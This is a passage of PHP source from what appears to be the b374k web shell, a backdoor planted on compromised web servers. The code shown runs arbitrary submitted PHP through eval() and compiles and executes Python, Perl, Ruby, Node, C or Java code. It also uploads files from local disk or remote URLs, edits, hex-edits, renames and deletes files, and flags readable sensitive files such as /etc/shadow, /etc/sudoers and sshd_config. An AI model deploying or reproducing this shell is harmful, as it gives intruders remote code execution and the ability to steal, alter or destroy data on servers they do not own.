        header("Cache-control: public");
        header("Expires: ".@date("r", @mktime(0,0,0,1,1,2030)));
        header("Cache-control: max-age=".(60*60*24*7));#
        readfile($s_d.$s_f);
        die();
    } // rename file or folder
    elseif(isset($_GP['oldname']) && isset($_GP['rename'])){
        $s_old = $_GP['oldname'];
        $s_new = $_GP['rename'];

        $s_renmsg = "";
        if(@is_dir($s_old)) $s_renmsg = (@rename($s_old, $s_new))? "Directory ".$s_old." renamed to ".$s_new : "Unable to rename directory ".$s_old." to ".$s_new;
        elseif(@is_file($s_old)) $s_renmsg = (@rename($s_old, $s_new))? "File ".$s_old." renamed to ".$s_new : "Unable to rename file ".$s_old." to ".$s_new;
        else $s_renmsg = "Cannot find the path specified ".$s_old;

        $s_result .= notif($s_renmsg);
        $s_fnew = $s_new;
    } // confirm delete
    elseif(!empty($_GP['del'])){
        $s_del = trim($_GP['del']);
        $s_result .= notif("Delete ".basename($s_del)." ? <a href='".$s_self."delete=".pl($s_del)."'>Yes</a> | <a href='".$s_self."'>No</a>");
    } // delete file
    elseif(!empty($_GP['delete'])){
        $s_f = $_GP['delete'];
        $s_delmsg = "";

        if(@is_file($s_f)) $s_delmsg = (unlink($s_f))? "File removed : ".$s_f : "Unable to remove file ".$s_f;
        elseif(@is_dir($s_f)){
            rmdirs($s_f);
            $s_delmsg = (@is_dir($s_f))? "Unable to remove directory ".$s_f : "Directory removed : ".$s_f;
        }
        else $s_delmsg = "Cannot find the path specified ".$s_f;
        $s_result .= notif($s_delmsg);
    } // create dir
    elseif(!empty($_GP['mkdir'])){
        $s_f = $s_cwd.$_GP['mkdir'];
        $s_dirmsg = "";

        $s_num = 1;
        if(@is_dir($s_f)){
            $s_pos = strrpos($s_f,"_");
            if($s_pos!==false) $s_num = (int) substr($s_f, $s_pos+1);
            while(@is_dir(substr($s_f, 0, $s_pos)."_".$s_num)){
                $s_num++;
            }
            $s_f = substr($s_f, 0, $s_pos)."_".$s_num;
        }
        if(mkdir($s_f)) $s_dirmsg = "Directory created ".$s_f;
        else $s_dirmsg = "Unable to create directory ".$s_f;

        $s_result .= notif($s_dirmsg);
    } // php eval() function
    if(isset($_GP['x']) && ($_GP['x']=='eval')){
        $s_code = "";
        $s_res = "";
        $s_evaloption = "";
        $s_lang = "php";

        if(isset($_GP['evalcode'])){
            $s_code = $_GP['evalcode'];
            $s_evaloption = (isset($_GP['evaloption']))? $_GP['evaloption']:"";
            $s_tmpdir = get_writabledir();

            if(isset($_GP['lang'])){$s_lang = $_GP['lang'];}

            if(strtolower($s_lang)=='php'){
                ob_start();
                eval($s_code);
                $s_res = ob_get_contents();
                ob_end_clean();
            }
            elseif(strtolower($s_lang)=='python'||strtolower($s_lang)=='perl'||strtolower($s_lang)=='ruby'||strtolower($s_lang)=='node'||strtolower($s_lang)=='nodejs'){
                $s_rand = md5(time().rand(0,100));
                $s_script = $s_tmpdir.$s_rand;
                if(file_put_contents($s_script, $s_code)!==false){
                    $s_res = exe($s_lang." ".$s_evaloption." ".$s_script);
                    unlink($s_script);
                }
            }
            elseif(strtolower($s_lang)=='gcc'){
                $s_script = md5(time().rand(0,100));
                chdir($s_tmpdir);
                if(file_put_contents($s_script.".c", $s_code)!==false){
                    $s_scriptout = $s_win ? $s_script.".exe" : $s_script;
                    $s_res = exe("gcc ".$s_script.".c -o ".$s_scriptout.$s_evaloption);
                    if(@is_file($s_scriptout)){
                        $s_res = $s_win ? exe($s_scriptout):exe("chmod +x ".$s_scriptout." ; ./".$s_scriptout);
                        rename($s_scriptout, $s_scriptout."del");
                        unlink($s_scriptout."del");
                    }
                    unlink($s_script.".c");
                }
                chdir($s_cwd);
            }
            elseif(strtolower($s_lang)=='java'){
                if(preg_match("/class\ ([^{]+){/i",$s_code, $s_r)){
                    $s_classname = trim($s_r[1]);
                    $s_script = $s_classname;
                }
                else{
                    $s_rand = "b374k_".substr(md5(time().rand(0,100)),0,8);
                    $s_script = $s_rand;
                    $s_code = "class ".$s_rand." { ".$s_code . " } ";
                }
                chdir($s_tmpdir);
                if(file_put_contents($s_script.".java", $s_code)!==false){
                    $s_res = exe("javac ".$s_script.".java");
                    if(@is_file($s_script.".class")){
                        $s_res .= exe("java ".$s_evaloption." ".$s_script);
                        unlink($s_script.".class");
                    }
                    unlink($s_script.".java");
                }
                chdir($s_pwd);
            }
        }

        $s_lang_available = "<option value='php'>php</option>";
        $s_selected = "";
        $s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_nodejs", "s_gcc", "s_javac");
        foreach($s_access as $s){
            if(isset($$s)){
                $s_t = explode("_", $s);
                $s_checked = ($s_lang == $s_t[1])? "selected" : "";
                $s_lang_available .= "<option value='".$s_t[1]."' ".$s_checked.">".$s_t[1]."</option>";
            }
        }

        $s_evaloptionclass = ($s_lang=="php")? "sembunyi":"";
        $s_e_result = (!empty($s_res))? "<pre id='evalres' class='bt' style='margin:4px 0 0 0;padding:6px 0;' >".hss($s_res)."</pre>":"";
        $s_result .= "<form action='".$s_self."' method='post'>
					<textarea id='evalcode' name='evalcode' style='height:150px;' class='txtarea'>".hss($s_code)."</textarea>
					<table><tr><td style='padding:0;'><p><input type='submit' name='evalcodesubmit' class='inputzbut' value='Go !' style='width:120px;height:30px;' /></p>
					</td><td><select name='lang' onchange='evalselect(this);' class='inputzbut' style='width:120px;height:30px;padding:4px;'>
					".$s_lang_available."
					</select>
					</td>
					<td><div title='If you want to give additional option to interpreter or compiler, give it here' id='additionaloption' class='".$s_evaloptionclass."'>Additional option&nbsp;&nbsp;<input class='inputz' style='width:400px;' type='text' name='evaloption' value='".hss($s_evaloption)."' id='evaloption' /></div></td>
					</tr>
					</table>
					".$s_e_result."
					<input type='hidden' name='x' value='eval' />
					</form>";
    } // find
    elseif(isset($_GP['find'])){
        $s_p = $_GP['find'];

        $s_type = isset($_GP['type'])? $_GP['type'] : "sfile";
        $s_sfname = (!empty($_GP['sfname']))? $_GP['sfname']:'';
        $s_sdname = (!empty($_GP['sdname']))? $_GP['sdname']:'';
        $s_sfcontain = (!empty($_GP['sfcontain']))? $_GP['sfcontain']:'';

        $s_sfnameregexchecked = $s_sfnameicasechecked = $s_sdnameregexchecked = $s_sdnameicasechecked = $s_sfcontainregexchecked = $s_sfcontainicasechecked = $s_swritablechecked = $s_sreadablechecked = $s_sexecutablechecked = "";
        $s_sfnameregex = $s_sfnameicase = $s_sdnameregex = $s_sdnameicase = $s_sfcontainregex = $s_sfcontainicase = $s_swritable = $s_sreadable = $s_sexecutable = false;

        if(isset($_GP['sfnameregex'])){ $s_sfnameregex=true; $s_sfnameregexchecked="checked"; }
        if(isset($_GP['sfnameicase'])){ $s_sfnameicase=true; $s_sfnameicasechecked="checked"; }
        if(isset($_GP['sdnameregex'])){ $s_sdnameregex=true; $s_sdnameregexchecked="checked"; }
        if(isset($_GP['sdnameicase'])){ $s_sdnameicase=true; $s_sdnameicasechecked="checked"; }
        if(isset($_GP['sfcontainregex'])){ $s_sfcontainregex=true; $s_sfcontainregexchecked="checked"; }
        if(isset($_GP['sfcontainicase'])){ $s_sfcontainicase=true; $s_sfcontainicasechecked="checked"; }
        if(isset($_GP['swritable'])){ $s_swritable=true; $s_swritablechecked="checked"; }
        if(isset($_GP['sreadable'])){ $s_sreadable=true; $s_sreadablechecked="checked"; }
        if(isset($_GP['sexecutable'])){ $s_sexecutable=true; $s_sexecutablechecked="checked"; }

        $s_sexecb = (function_exists("is_executable"))? "<input class='css-checkbox' type='checkbox' name='sexecutable' value='sexecutable' id='se' ".$s_sexecutablechecked." /><label class='css-label' for='se'>Executable</span>":"";

        $s_candidate = array();
        if(isset($_GP['sgo'])){
            $s_af = "";

            $s_candidate = getallfiles($s_p);
            if($s_type=='sfile') $s_candidate = @array_filter($s_candidate, "is_file");
            elseif($s_type=='sdir') $s_candidate = @array_filter($s_candidate, "is_dir");

            foreach($s_candidate as $s_a){
                if($s_type=='sdir'){
                    if(!empty($s_sdname)){
                        if($s_sdnameregex){
                            if($s_sdnameicase){if(!preg_match("/".$s_sdname."/i", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
                            else{if(!preg_match("/".$s_sdname."/", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
                        }
                        else{
                            if($s_sdnameicase){if(strpos(strtolower(basename($s_a)), strtolower($s_sdname))===false) $s_candidate = array_diff($s_candidate, array($s_a));}
                            else{if(strpos(basename($s_a), $s_sdname)===false) $s_candidate = array_diff($s_candidate, array($s_a));}
                        }
                    }
                }
                elseif($s_type=='sfile'){
                    if(!empty($s_sfname)){
                        if($s_sfnameregex){
                            if($s_sfnameicase){if(!preg_match("/".$s_sfname."/i", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
                            else{if(!preg_match("/".$s_sfname."/", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
                        }
                        else{
                            if($s_sfnameicase){if(strpos(strtolower(basename($s_a)), strtolower($s_sfname))===false) $s_candidate = array_diff($s_candidate, array($s_a));}
                            else{if(strpos(basename($s_a), $s_sfname)===false) $s_candidate = array_diff($s_candidate, array($s_a));}
                        }
                    }
                    if(!empty($s_sfcontain)){
                        $s_sffcontent = @fgc($s_a);
                        if($s_sfcontainregex){
                            if($s_sfcontainicase){if(!preg_match("/".$s_sfcontain."/i", $s_sffcontent)) $s_candidate = array_diff($s_candidate, array($s_a));}
                            else{if(!preg_match("/".$s_sfcontain."/",  $s_sffcontent)) $s_candidate = array_diff($s_candidate, array($s_a));}
                        }
                        else{
                            if($s_sfcontainicase){if(strpos(strtolower($s_sffcontent), strtolower($s_sfcontain))===false) $s_candidate = array_diff($s_candidate, array($s_a));}
                            else{if(strpos($s_sffcontent, $s_sfcontain)===false) $s_candidate = array_diff($s_candidate, array($s_a));}
                        }
                    }
                }
            }
        }

        $s_f_result = ""; $s_link="";
        foreach($s_candidate as $s_c){
            $s_c = trim($s_c);
            if($s_swritable && !@is_writable($s_c)) continue;
            if($s_sreadable && !@is_readable($s_c)) continue;
            if($s_sexecutable && !@is_executable($s_c)) continue;

            if($s_type=="sfile") $s_link = $s_self."view=".pl($s_c);
            elseif($s_type=="sdir") $s_link = $s_self."view=".pl(cp($s_c));
            $s_f_result .= "<p class='notif' ondblclick=\"return go('".adds($s_link)."',event);\"><a href='".$s_link."'>".$s_c."</a></p>";
        }

        $s_tsdir = ($s_type=="sdir")? "selected":"";
        $s_tsfile = ($s_type=="sfile")? "selected":"";

        if(!@is_dir($s_p)) $s_result .= notif("Cannot find the path specified ".$s_p);

        $s_result .= "<form action='".$s_self."' method='post'>
		<div class='mybox'><h2>Find</h2>
		<table class='myboxtbl'>
		<tr><td style='width:140px;'>Search in</td>
		<td colspan='2'><input style='width:100%;' value='".hss($s_p)."' class='inputz' type='text' name='find' /></td></tr>
		<tr onclick=\"findtype('sdir');\">
			<td>Dirname contains</td>
			<td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sdname' value='".hss($s_sdname)."' /></td>
			<td>
				<input type='checkbox' class='css-checkbox' name='sdnameregex' id='sdn' ".$s_sdnameregexchecked." /><label class='css-label' for='sdn'>Regex (pcre)</label>
				<input type='checkbox' class='css-checkbox' name='sdnameicase' id='sdi' ".$s_sdnameicasechecked." /><label class='css-label' for='sdi'>Case Insensitive</label>
			</td>
		</tr>
		<tr onclick=\"findtype('sfile');\">
			<td>Filename contains</td>
			<td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sfname' value='".hss($s_sfname)."' /></td>
			<td>
				<input type='checkbox' class='css-checkbox' name='sfnameregex'  id='sfn' ".$s_sfnameregexchecked." /><label class='css-label' for='sfn'>Regex (pcre)</label>
				<input type='checkbox' class='css-checkbox' name='sfnameicase'  id='sfi' ".$s_sfnameicasechecked." /><label class='css-label' for='sfi'>Case Insensitive</label>
			</td>
		</tr>
		<tr onclick=\"findtype('sfile');\">
			<td>File contains</td>
			<td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sfcontain' value='".hss($s_sfcontain)."' /></td>
			<td>
				<input type='checkbox' class='css-checkbox' name='sfcontainregex' id='sff' ".$s_sfcontainregexchecked." /><label class='css-label' for='sff'>Regex (pcre)</label>
				<input type='checkbox' class='css-checkbox' name='sfcontainicase' id='sffi' ".$s_sfcontainicasechecked." /><label class='css-label' for='sffi'>Case Insensitive</label>
			</td>
		</tr>
		<tr>
			<td>Permissions</td>
			<td colspan='2'>
				<input type='checkbox' class='css-checkbox' name='swritable' id='sw' ".$s_swritablechecked." /><label class='css-label' for='sw'>Writable</label>
				<input type='checkbox' class='css-checkbox' name='sreadable' id='sr' ".$s_sreadablechecked." /><label class='css-label' for='sr'>Readable</label>
				".$s_sexecb."
			</td>
		</tr>
		<tr><td>
		<input type='submit' name='sgo' class='inputzbut' value='Search !' style='width:120px;height:30px;margin:0;' />
		</td>
		<td>
		<select name='type' id='type' class='inputzbut' style='width:120px;height:30px;margin:0;padding:4px;'>
			<option value='sfile' ".$s_tsfile.">Search file</option>
			<option value='sdir' ".$s_tsdir.">Search dir</option>
		</select>
		</td>
		<td></td></tr>
		</table>
		</div>
		</form>
		<div>
		".$s_f_result."
		</div>";
    } // upload
    elseif(isset($_GP['x']) && ($_GP['x']=='upload')){
        $s_result = " ";
        $s_msg = "";
        if(isset($_GP['uploadhd'])){
            $c = count($_FILES['filepath']['name']);
            for($i = 0; $i<$c; $i++){
                $s_fn = $_FILES['filepath']['name'][$i];
                if(empty($s_fn)) continue;
                if(is_uploaded_file($_FILES['filepath']['tmp_name'][$i])){
                    $s_p = cp($_GP['savefolder'][$i]);
                    if(!@is_dir($s_p)) mkdir($s_p);
                    if(isset($_GP['savefilename'][$i]) && (trim($_GP['savefilename'][$i])!="")) $s_fn = $_GP['savefilename'][$i];
                    $s_tm = $_FILES['filepath']['tmp_name'][$i];
                    $s_pi = cp($s_p).$s_fn;
                    $s_st = @move_uploaded_file($s_tm,$s_pi);
                    if($s_st) $s_msg .= notif("File uploaded to <a href='".$s_self."view=".pl($s_pi)."'>".$s_pi."</a>");
                    else $s_msg .= notif("Failed to upload ".$s_fn);
                }
                else $s_msg .= notif("Failed to upload ".$s_fn);
            }
        }
        elseif(isset($_GP['uploadurl'])){
            // function dlfile($s_url,$s_fpath)
            $c = count($_GP['fileurl']);
            for($i = 0; $i<$c; $i++){
                $s_fu = $_GP['fileurl'][$i];
                if(empty($s_fu)) continue;

                $s_p = cp($_GP['savefolderurl'][$i]);
                if(!@is_dir($s_p)) mkdir($s_p);

                $s_fn = basename($s_fu);
                if(isset($_GP['savefilenameurl'][$i]) && (trim($_GP['savefilenameurl'][$i])!="")) $s_fn = $_GP['savefilenameurl'][$i];
                $s_fp = cp($s_p).$s_fn;
                $s_st = dlfile($s_fu,$s_fp);
                if($s_st) $s_msg .= notif("File uploaded to <a href='".$s_self."view=".pl($s_fp)."'>".$s_fp."</a>");
                else $s_msg .= notif("Failed to upload ".$s_fn);
            }
        }
        else{
            if(!@is_writable($s_cwd)) $s_msg = notif("Directory ".$s_cwd." is not writable, please change to a writable one");
        }

        if(!empty($s_msg)) $s_result .= $s_msg;
        $s_result .= "
			<form action='".$s_self."' method='post' enctype='multipart/form-data'>
			<div class='mybox'><h2><div class='but' onclick='adduploadc();'>+</div>Upload from computer</h2>
			<table class='myboxtbl'>
			<tbody id='adduploadc'>
			<tr><td style='width:140px;'>File</td><td><input type='file' name='filepath[]' class='inputzbut' style='width:400px;margin:0;' /></td></tr>
			<tr><td>Save to</td><td><input style='width:100%;' class='inputz' type='text' name='savefolder[]' value='".hss($s_cwd)."' /></td></tr>
			<tr><td>Filename (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='savefilename[]' value='' /></td></tr>
			</tbody>
			<tfoot>
			<tr><td>&nbsp;</td><td>
			<input type='submit' name='uploadhd' class='inputzbut' value='Upload !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
			<input type='hidden' name='x' value='upload' />
			</td></tr>
			</tfoot>
			</table>
			</div>
			</form>
			<form action='".$s_self."' method='post'>
			<div class='mybox'><h2><div class='but' onclick='adduploadi();'>+</div>Upload from internet</h2>
			<table class='myboxtbl'>
			<tbody id='adduploadi'>
			<tr><td style='width:150px;'>File URL</td><td><input style='width:100%;' class='inputz' type='text' name='fileurl[]' value='' />
			</td></tr>
			<tr><td>Save to</td><td><input style='width:100%;' class='inputz' type='text' name='savefolderurl[]' value='".hss($s_cwd)."' /></td></tr>
			<tr><td>Filename (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='savefilenameurl[]' value='' /></td></tr>
			</tbody>
			<tfoot>
			<tr><td>&nbsp;</td><td>
			<input type='submit' name='uploadurl' class='inputzbut' value='Upload !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
			<input type='hidden' name='x' value='upload' />
			</td></tr>
			</table>
			</div>
			</form>";
    } // view file
    elseif(isset($_GP['view'])){
        $s_f = $_GP['view'];
        if(isset($s_fnew) && (trim($s_fnew)!="")) $s_f = $s_fnew;

        $s_owner = "";
        if(@is_file($s_f)){
            $targetdir = dirname($s_f);
            chdir($targetdir);
            $s_cwd = cp(getcwd());
            setcookie("cwd", $s_cwd ,time() + $s_login_time);

            if(!$s_win && $s_posix){
                $s_name = posix_getpwuid(fileowner($s_f));
                $s_group = posix_getgrgid(filegroup($s_f));
                $s_owner = "<tr><td>Owner</td><td>".$s_name['name']."<span class='gaya'>:</span>".$s_group['name']."</td></tr>";
            }
            $s_filn = basename($s_f);
            $s_result .= "<table class='viewfile' style='width:100%;'>
			<tr><td style='width:140px;'>Filename</td><td><span id='".cs($s_filn)."_link'>".$s_f."</span>
			<div id='".cs($s_filn)."_form' class='sembunyi'>
			<form action='".$s_self."' method='post'>
				<input type='hidden' name='oldname' value='".hss($s_f)."' style='margin:0;padding:0;' />
				<input type='hidden' name='view' value='".hss($s_f)."' />
				<input class='inputz' style='width:200px;' type='text' name='rename' value='".hss($s_f)."' />
				<input class='inputzbut' type='submit' value='rename' />
			</form>
			<input class='inputzbut' type='button' value='x' onclick=\"tukar_('".cs($s_filn)."_form','".cs($s_filn)."_link');\" />
			</div>
			</td></tr>
			<tr><td>Size</td><td>".gs($s_f)." (".@filesize($s_f).")</td></tr>
			<tr><td>Permission</td><td>".gp($s_f)."</td></tr>
			".$s_owner."
			<tr><td>Create time</td><td>".@date("d-M-Y H:i:s",filectime($s_f))."</td></tr>
			<tr><td>Last modified</td><td>".@date("d-M-Y H:i:s",filemtime($s_f))."</td></tr>
			<tr><td>Last accessed</td><td>".@date("d-M-Y H:i:s",fileatime($s_f))."</td></tr>
			<tr><td>Actions</td><td>
			<a href='".$s_self."edit=".pl($s_f)."' title='edit'>edit</a> | <a href='".$s_self."hexedit=".pl($s_f)."' title='edit as hex'>hex</a> | <a href=\"javascript:tukar_('".cs($s_filn)."_link','".cs($s_filn)."_form');\" title='rename'>ren</a> | <a href='".$s_self."del=".pl($s_f)."' title='delete'>del</a> | <a href='".$s_self."dl=".pl($s_f)."'>dl</a>
			</td></tr>
			<tr><td>View</td><td>
			<a href='".$s_self."view=".pl($s_f)."&type=text"."'>text</a> | <a href='".$s_self."view=".pl($s_f)."&type=code"."'>code</a> | <a href='".$s_self."view=".pl($s_f)."&type=image"."'>image</a> | <a href='".$s_self."view=".pl($s_f)."&type=audio"."'>audio</a> | <a href='".$s_self."view=".pl($s_f)."&type=video"."'>video</a>
			</td></tr>
			</table>";

            $s_t = ""; $s_mime = "";
            $s_mime_list = gzinflate(base64_decode($s_mime_types));
            $s_ext_pos = strrpos($s_f, ".");
            if($s_ext_pos!==false){
                $s_ext = trim(substr($s_f, $s_ext_pos),".");
                if(preg_match("/([^\s]+)\ .*".$s_ext.".*/i",$s_mime_list,$s_r)){
                    $s_mime = $s_r[1];
                }
            }

            $s_iinfo = @getimagesize($s_f);
            if(strtolower(substr($s_filn,-3,3)) == "php") $s_t = "code";
            elseif(is_array($s_iinfo)) $s_t = 'image';
            elseif(!empty($s_mime)) $s_t = substr($s_mime,0,strpos($s_mime,"/"));

            if(isset($_GP['type'])) $s_t = $_GP['type'];

            if($s_t=="image"){
                $s_width = (int) $s_iinfo[0];
                $s_height = (int) $s_iinfo[1];
                $s_imginfo = "Image type = ( ".$s_iinfo['mime']." )<br />
					Image Size = <span class='gaul'>( </span>".$s_width." x ".$s_height."<span class='gaul'> )</span><br />";
                if($s_width > 800){
                    $s_width = 800;
                    $s_imglink = "<p><a href='".$s_self."img=".pl($s_filn)."'>
					<span class='gaul'>[ </span>view full size<span class='gaul'> ]</span></a></p>";
                }
                else $s_imglink = "";

                $s_result .= "<div class='viewfilecontent' style='text-align:center;'>".$s_imglink."
					<img width='".$s_width."' src='".$s_self."img=".pl($s_filn)."' alt='".$s_filn."' style='margin:8px auto;padding:0;border:0;' /></div>";

            }
            elseif($s_t=="code"){
                $s_result .= "<div class=\"viewfilecontent\">";
                $s_file = wordwrap(@fgc($s_f),160,"
",true);
                $s_buff = highlight_string($s_file,true);
                $s_old = array("0000BB", "000000", "FF8000", "DD0000", "007700");
                $s_new = ($s_theme=="bright")? $s_highlight_bright:$s_highlight_dark;
                $s_buff = str_replace($s_old,$s_new, $s_buff);
                $s_result .= $s_buff;
                $s_result .=  "</div>";
            }
            elseif($s_t=="audio" || $s_t=="video"){
                $s_result .= "<div class='viewfilecontent' style='text-align:center;'>
							<".$s_t." controls>
							<source src='".hss($s_self."dltype=raw&dlpath=".$s_f)."' type='".$s_mime."'>
								<object data='".hss($s_self."dltype=raw&dlpath=".$s_f)."'>
									<embed src='".hss($s_self."dltype=raw&dlpath=".$s_f)."'>
								</object>
							</".$s_t.">
							</div>";
            }
            else {
                $s_result .= "<pre style='padding: 3px 8px 0 8px;' class='viewfilecontent'>";
                $s_result .=  str_replace("<", "&lt;",str_replace(">", "&gt;",(wordwrap(@fgc($s_f),160,"
",true))));
                $s_result .=   "</pre>";
            }
        }
        elseif(@is_dir($s_f)){
            chdir($s_f);
            $s_cwd = cp(getcwd());
            setcookie("cwd", $s_cwd ,time() + $s_login_time);
            $s_result .= showdir($s_cwd);
        }
        else $s_result .= notif("Cannot find the path specified ".$s_f);

    } // edit file
    elseif(isset($_GP['edit'])){
        $s_f = $_GP['edit'];
        $s_fc = ""; $s_fcs = "";

        if(isset($_GP['new']) && ($_GP['new']=='yes')){
            $s_num = 1;
            if(@is_file($s_f)){
                $s_pos = strrpos($s_f,"_");
                if($s_pos!==false) $s_num = (int) substr($s_f,$s_pos+1);
                while(@is_file(substr($s_f,0,$s_pos)."_".$s_num)){
                    $s_num++;
                }
                $s_f = substr($s_f,0,$s_pos)."_".$s_num;
            }
        }
        else if(@is_file($s_f)) $s_fc = @fgc($s_f);

        if(isset($_GP['fc'])){
            $s_fc = $_GP['fc'];
            $s_eol = $_GP['eol'];
            $s_eolf = pack("H*", geol($s_fc));
            $s_eolh = pack("H*", $s_eol);
            $s_fc = str_replace($s_eolf, $s_eolh, $s_fc);

            if($s_filez = fopen($s_f,"w")){
                $s_time = @date("d-M-Y H:i:s",time());
                if(fwrite($s_filez,$s_fc)!==false) $s_fcs = "File saved @ ".$s_time;
                else $s_fcs = "Failed to save";
                fclose($s_filez);
            }
            else $s_fcs = "Permission denied";
        }
        elseif(@is_file($s_f) && !@is_writable($s_f)) $s_fcs = "This file is not writable";

        $s_eol = geol($s_fc);

        if(!empty($s_fcs)) $s_result .= notif($s_fcs);
        $s_result .= "<form action='".$s_self."' method='post'>
				<textarea id='fc' name='fc' class='txtarea'>".hss($s_fc)."</textarea>
				<p style='text-align:center;'><input type='text' class='inputz' style='width:99%;' name='edit' value='".hss($s_f)."' /></p>
				<p><input type='submit' class='inputzbut' value='Save !' style='width:120px;height:30px;' /></p>
				<input type='hidden' name='eol' value='".$s_eol."' />
				</form>";

    } // hex edit file
    elseif(isset($_GP['hexedit'])){
        $s_f = $_GP['hexedit'];
        $s_fc = "";	$s_fcs = ""; $s_hexes = "";
        $s_lnum = 0;

        if(!empty($_GP['hx']) || !empty($_GP['hxt'])){
            if(!empty($_GP['hx'])){
                foreach($_GP['hx'] as $s_hex) $s_hexes .= str_replace(" ", "", $s_hex);
            }
            elseif(!empty($_GP['hxt'])){
                $s_hexes = trim($_GP['hxt']);
            }
            if($s_filez = fopen($s_f,"w")){
                $s_bins = pack("H*", $s_hexes);
                $s_time = @date("d-M-Y H:i:s", time());
                if(fwrite($s_filez,$s_bins)!==false) $s_fcs = "File saved @ ".$s_time;
                else $s_fcs = "Failed to save";
                fclose($s_filez);
            }
            else $s_fcs = "Permission denied";
        }
        else if(@is_file($s_f) && !@is_writable($s_f)) $s_fcs = "This file is not writable";

        if(!empty($s_fcs)) $s_result .= notif($s_fcs);

        $s_result .= "<form action='".$s_self."' method='post'><p class='ce mp'><input type='text' class='inputz' style='width:100%;' name='hexedit' value='".hss($s_f)."' /></p><p class='bb' style='padding:0 0 14px 0;'><input type='submit' class='inputzbut' value='Save !' style='width:120px;height:30px;' onclick=\"return sh();\" /></p><table class='explore'>";

        if(@is_file($s_f)){
            $s_fp = fopen($s_f, "r");
            if($s_fp) {
                $s_ldump = "";
                $s_counter = 0;
                $s_icounter = 0;
                while(!feof($s_fp)){
                    $s_line = fread($s_fp, 32);
                    $s_linehex = strtoupper(bin2hex($s_line));
                    $s_linex = str_split($s_linehex, 2);
                    $s_linehex = implode(" ", $s_linex);
                    $s_addr = sprintf("%08xh", $s_icounter);

                    $s_result .= "<tr><td class='ce w60'>".$s_addr."</td><td class='le w594'><input onselect='this.selectionEnd=this.selectionStart;' onclick=\"hu('".$s_counter."',event);\" onkeydown=\"return hf('".$s_counter."',event);\" onkeyup=\"hu('".$s_counter."',event);\" type='text' class='inputz w578' id='hex_".$s_counter."' name='hx[]' value='".$s_linehex."'  maxlength='".strlen($s_linehex)."' /></td><td class='le ls2'><pre name='hexdump' id='dump_".$s_counter."' class='mp'></pre></td></tr>";
                    $s_counter++;
                    $s_icounter+=32;
                }
                $s_result .= "<input type='hidden' id='counter' value='".$s_counter."' />";
                $s_result .= "<textarea name='hxt' id='hxt' class='sembunyi'></textarea>";
                fclose($s_fp);
            }
        }
        $s_result .= "</table></form>";

    } // show server information
    elseif(isset($_GP['x']) && ($_GP['x']=='info')){
        $s_result = "";
        // server misc info
        $s_result .= "<p class='notif' onclick=\"toggle('info_server')\">Server Info</p>";
        $s_result .= "<div class='info' id='info_server'><table>";

        if($s_win){
            foreach (range("A", "Z") as $s_letter){
                if((@is_dir($s_letter.":\") && @is_readable($s_letter.":\"))){
                    $s_drive = $s_letter.":";
                    $s_result .= "<tr><td>drive ".$s_drive."</td><td>".ts(disk_free_space($s_drive))." free of ".ts(disk_total_space($s_drive))."</td></tr>";
                }
            }
        }
        else $s_result .= "<tr><td>root partition</td><td>".ts(@disk_free_space("/"))." free of ".ts(@disk_total_space("/"))."</td></tr>";

        $s_result .= "<tr><td>php</td><td>".phpversion()."</td></tr>";
        $s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_nodejs", "s_gcc", "s_java", "s_javac", "s_tar", "s_wget", "s_lwpdownload", "s_lynx", "s_curl");
        foreach($s_access as $s){
            $s_t = explode("_", $s);
            if(isset($$s)) $s_result .= "<tr><td>".$s_t[1]."</td><td>".$$s."</td></tr>";
        }

        if(!$s_win){
            $s_interesting = array(
                "/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases",
                "/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf",
                "/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf",
                "/etc/ssh/sshd_config",
                "/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf",
                "/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf",
                "/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules");
            foreach($s_interesting as $s_f){
                if(@is_file($s_f) && @is_readable($s_f)) $s_result .= "<tr><td>".$s_f."</td><td><a href='".$s_self."view=".pl($s_f)."'>".$s_f." is readable</a></td></tr>";
            }
        }
        $s_result .= "</table></div>";

        if(!$s_win){
            // cpu info
            if($s_i_buff=trim(@fgc("/proc/cpuinfo"))){
                $s_result .= "<p class='notif' onclick=\"toggle('info_cpu')\">CPU Info</p>";
                $s_result .= "<div class='info' id='info_cpu'>";
                $s_i_buffs = explode("

", $s_i_buff);
                foreach($s_i_buffs as $s_i_buffss){
                    $s_i_buffss = trim($s_i_buffss);
                    if($s_i_buffss!=""){
                        $s_i_buffsss = explode("
", $s_i_buffss);
                        $s_result .= "<table>";
                        foreach($s_i_buffsss as $s_i){
                            $s_i = trim($s_i);
                            if($s_i!=""){
                                $s_ii = explode(":",$s_i);
                                if(count($s_ii)==2) $s_result .= "<tr><td>".$s_ii[0]."</td><td>".$s_ii[1]."</td></tr>";
                            }
                        }
                        $s_result .= "</table>";
                    }
                }
                $s_result .= "</div>";
            }

            // mem info
            if($s_i_buff=trim(@fgc("/proc/meminfo"))){
                $s_result .= "<p class='notif' onclick=\"toggle('info_mem')\">Memory Info</p>";
                $s_i_buffs = explode("
", $s_i_buff);
                $s_result .= "<div class='info' id='info_mem'><table>";
                foreach($s_i_buffs as $s_i){
                    $s_i = trim($s_i);
                    if($s_i!=""){
                        $s_ii = explode(":",$s_i);
